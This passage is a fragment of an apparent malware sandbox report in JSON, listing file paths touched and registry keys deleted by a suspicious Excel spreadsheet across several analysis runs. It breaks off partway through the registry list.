Office\\Office12\\EXCEL.PIP","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Excel12.pip","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"C:\\PROGRA~3\\MICROS~1\\OFFICE\\DATA\\OPA12.BAK","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft Office\\Office12\\ID_10031.DPC","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"C:\\ProgramData","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%WINDIR%\\system32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%TEMP%\\CVR448C.tmp","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%TEMP%\\214171.od","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft Office\\Office12\\id_10031.dpc","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Office\\Data\\89451.bpc","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%WINDIR%\\system32\\wdmaud.drv","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"wdmaud.drv","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"pci#ven_8086&dev_100e&subsys_001e8086&rev_02#3&267a616a&0&18#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{99eeffb2-ab17-4bfc-9bbc-d2001e0c4fc5}","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"root#*isatap#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{85c6619c-a5e8-4995-b351-1f8b696a9c13}","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"root#*teredo#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{c23e0e89-6218-47ad-aaa6-4a30095e2323}","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"root#ms_agilevpnminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{29898c9d-b0a4-4fef-bdb6-57a562022cee}","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"root#ms_l2tpminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{e43d242b-9eab-4626-a952-46649fbb939a}","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"root#ms_ndiswanbh#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\ndiswanbh","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"root#ms_ndiswanip#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\ndiswanip","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"root#ms_ndiswanipv6#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\ndiswanipv6","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"root#ms_pppoeminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{8e301a52-affa-4f49-b9ca-c79096a1a056}","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"root#ms_pptpminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{df4a9d2c-8742-4eb1-8703-d395c4183f33}","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"root#ms_sstpminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{71f897d7-eb7c-4d8d-89db-ac80d9dd2270}","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"root#system#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{eeab7790-c514-11d1-b42b-00805fc1270e}&asyncmac","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"sw#{eeab7790-c514-11d1-b42b-00805fc1270e}#asyncmac#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{78032b7e-4968-42d3-9f37-287ea86c0aaa}","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"C:\\PROGRA~3\\MICROS~1\\OFFICE\\DATA\\opa12.dat","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"MountPointManager","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%TEMP%\\~DFE3FD887FEFE048AE.TMP","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%PROGRAMFILES%\\(x86)\\Common Files\\Microsoft Shared\\VBA\\VBA6\\VBE6.DLL","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%TEMP%\\~DF2304034636024213.TMP","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft Office\\Office12\\EXCEL.EXE","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%PROGRAMFILES(X86)%\\COMMON~1\\MICROS~1\\VBA\\VBA6\\VBE6.DLL","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%WINDIR%\\SysWOW64\\stdole2.tlb","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%PROGRAMFILES%\\(x86)\\Common Files\\Microsoft Shared\\OFFICE12\\MSO.DLL","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%USERPROFILE%\\Pictures\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%USERPROFILE%\\Music\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%USERPROFILE%\\Documents\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%WINDIR%\\System32\\shdocvw.dll","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\EDMUN11118_181859","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\Lokaler Datentr","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\EDMUN11118_181859.LNK","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\index.dat","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%WINDIR%\\SysWOW64\\wshom.ocx","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"Nsi","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"\\Device\\NetBT_Tcpip6_{85C6619C-A5E8-4995-B351-1F8B696A9C13}","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"\\Device\\NetBT_Tcpip6_{99EEFFB2-AB17-4BFC-9BBC-D2001E0C4FC5}","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"\\Device\\NetBT_Tcpip6_{C23E0E89-6218-47AD-AAA6-4A30095E2323}","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"\\Device\\NetBT_Tcpip_{99EEFFB2-AB17-4BFC-9BBC-D2001E0C4FC5}","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"\\Device\\RasAcd","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"\\Device\\Afd\\AsyncConnectHlp","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"\\Device\\Afd\\Endpoint","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%WINDIR%\\SysWOW64\\shell32.dll","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"C:\\","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%WINDIR%\\system32\\de-DE\\DUser.dll.mui","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%WINDIR%\\WinSxS\\x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_de-de_af2bfcc66947d224\\Comctl32.dll.mui","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%WINDIR%\\system32\\imageres.dll","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%PROGRAMFILES%\\(x86)\\Common Files\\Microsoft Shared\\OFFICE12\\1031\\ALRTINTL.DLL","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%USERPROFILE%\\DOCUME~1\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"C:\\Users\\PSPUBWS","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%APPDATA%\\MICROS~1\\Office\\Recent\\index.dat","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%APPDATA%\\MICROS~1\\Windows\\Recent\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"path":"%TEMP%\\~DF51F86E2515DE3335.TMP","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{C3450F58-7060-4AEA-B0A0-C245927D78D0}","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%TEMP%\\CVRF802.tmp","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%WINDIR%\\Fonts\\StaticCache.dat","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%WINDIR%\\System32\\en-US\\user32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%WINDIR%\\System32\\en-US\\msctf.dll.mui","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"C:\\share","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"C:\\EDMUN11118_181859.xls","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"C:","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%TEMP%\\~DF1BE6843849C37B00.TMP","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%WINDIR%\\System32\\stdole2.tlb","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%WINDIR%\\System32\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%WINDIR%\\System32\\wshom.ocx","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%WINDIR%\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3\\comctl32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%WINDIR%\\System32\\imageres.dll","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%WINDIR%\\System32\\wshqos.dll","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%WINDIR%\\System32\\shell32.dll","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%WINDIR%\\System32\\en-US\\shell32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%WINDIR%\\AppPatch\\AppPatch64\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%PROGRAMFILES%\\MICROS~2\\Office14\\GROOVEEX.DLL","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%WINDIR%\\Installer\\5b3285.msi","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%WINDIR%\\Installer\\{90140000-0011-0000-1000-0000000FF1CE}\\ShellUI.MST","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%WINDIR%\\System32\\msimsg.dll","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"path":"%WINDIR%\\AppPatch\\AcSpecfc.DLL","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\office12\\MSO.DLL","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\office12\\Cultures\\office.odf","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office12\\1031\\XLINTL32.DLL","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office12\\1031\\XLLEX.DLL","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\OFFICE11\\msxml5.dll","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office12\\EXCEL.PIP","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%PROGRAMFILES(X86)%\\MICROS~1\\OFFICE\\DATA\\OPA12.BAK","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%TEMP%\\1372390.od","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%TEMP%\\~DFC02688E54EC7A9FD.TMP","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\VBA\\VBA6\\VBE6.DLL","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%TEMP%\\~DFCF02EAA2F5731045.TMP","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%PROGRAMFILES%\\COMMON~1\\MICROS~1\\VBA\\VBA6\\VBE6.DLL","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\OFFICE12\\MSO.DLL","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%USERPROFILE%\\Links\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\Local Disk (C)","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\Local Disk (C).LNK","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"\\Device\\NetBT_Tcpip_{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"\\Device\\NetBT_Tcpip6_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"\\Device\\NetBT_Tcpip6_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"\\Device\\NetBT_Tcpip6_{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office12\\EXCEL.EXE.config","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office12\\EXCEL.EXE","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\S9Y0GKU4\\o97i76u54[1].exe","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%WINDIR%\\system32\\en-US\\wdmaud.drv.mui","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%WINDIR%\\system32\\en-US\\MMDevAPI.DLL.mui","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%USERPROFILE%\\Documents\\wdmaud.drv","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"pci#ven_8086&dev_100e&subsys_001e8086&rev_02#3&267a616a&0&18#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{d0b53124-e232-49fc-9ea9-75fa32c7c6c3}","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"root#*isatap#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{9c9c1d9a-e45a-41f9-8d98-d3b6ea5d768d}","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"root#*teredo#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{72d885c2-0aec-4510-95d5-bf120a963535}","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"root#ms_agilevpnminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{dcb14c61-690d-46f7-8a89-150432fa5c44}","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"root#ms_l2tpminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{483c9ff8-503d-414b-b402-e4c1f1f568cb}","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"root#ms_pppoeminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{db2b4279-b5cf-4626-9dba-32d0ece44c87}","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"root#ms_pptpminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{c0de3e38-8ba7-479f-8b75-833f294c5aa8}","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"root#ms_sstpminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{e28d896f-9ea8-433a-9c10-66c97c19a921}","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%PROGRAMFILES(X86)%\\MICROS~1\\OFFICE\\DATA\\opa12.dat","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%WINDIR%\\system32\\en-US\\msdrm.dll.mui","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"path":"%WINDIR%\\~","sources":[{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]}],"files_deleted":null},"registry_activity":{"keys_created":null,"keys_modified":null,"keys_deleted":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\RESILIENCY\\STARTUPITEMS\\YO-\\YO-","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\RESILIENCY\\STARTUPITEMS\\","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\RESILIENCY\\","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\COMMON\\SMART TAG\\APPLICATIONS\\XLMAIN\\LABELTEXT\\LABELTEXT","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\COMMON\\SMART TAG\\APPLICATIONS\\XLMAIN\\SAVE\\SAVE","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\COMMON\\SMART TAG\\APPLICATIONS\\XLMAIN\\NOLABELOPTION\\NOLABELOPTION","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\COMMON\\SMART TAG\\APPLICATIONS\\XLMAIN\\NOSAVEOPTION\\NOSAVEOPTION","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\COMMON\\SMART TAG\\APPLICATIONS\\XLMAIN\\NOBUTTONOPTION\\NOBUTTONOPTION","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\COMMON\\SMART TAG\\APPLICATIONS\\XLMAIN\\NOINDICATOROPTION\\NOINDICATOROPTION","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\RESILIENCY\\DOCUMENTRECOVERY\\348A4\\348A4\\348A4","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\RESILIENCY\\DOCUMENTRECOVERY\\348A4\\","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\RESILIENCY\\DOCUMENTRECOVERY\\","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\MAX DISPLAY\\MAX DISPLAY","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 1\\ITEM 1","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 2\\ITEM 2","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 3\\ITEM 3","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 4\\ITEM 4","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 5\\ITEM 5","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 6\\ITEM 6","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 7\\ITEM 7","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 8\\ITEM 8","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 9\\ITEM 9","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 10\\ITEM 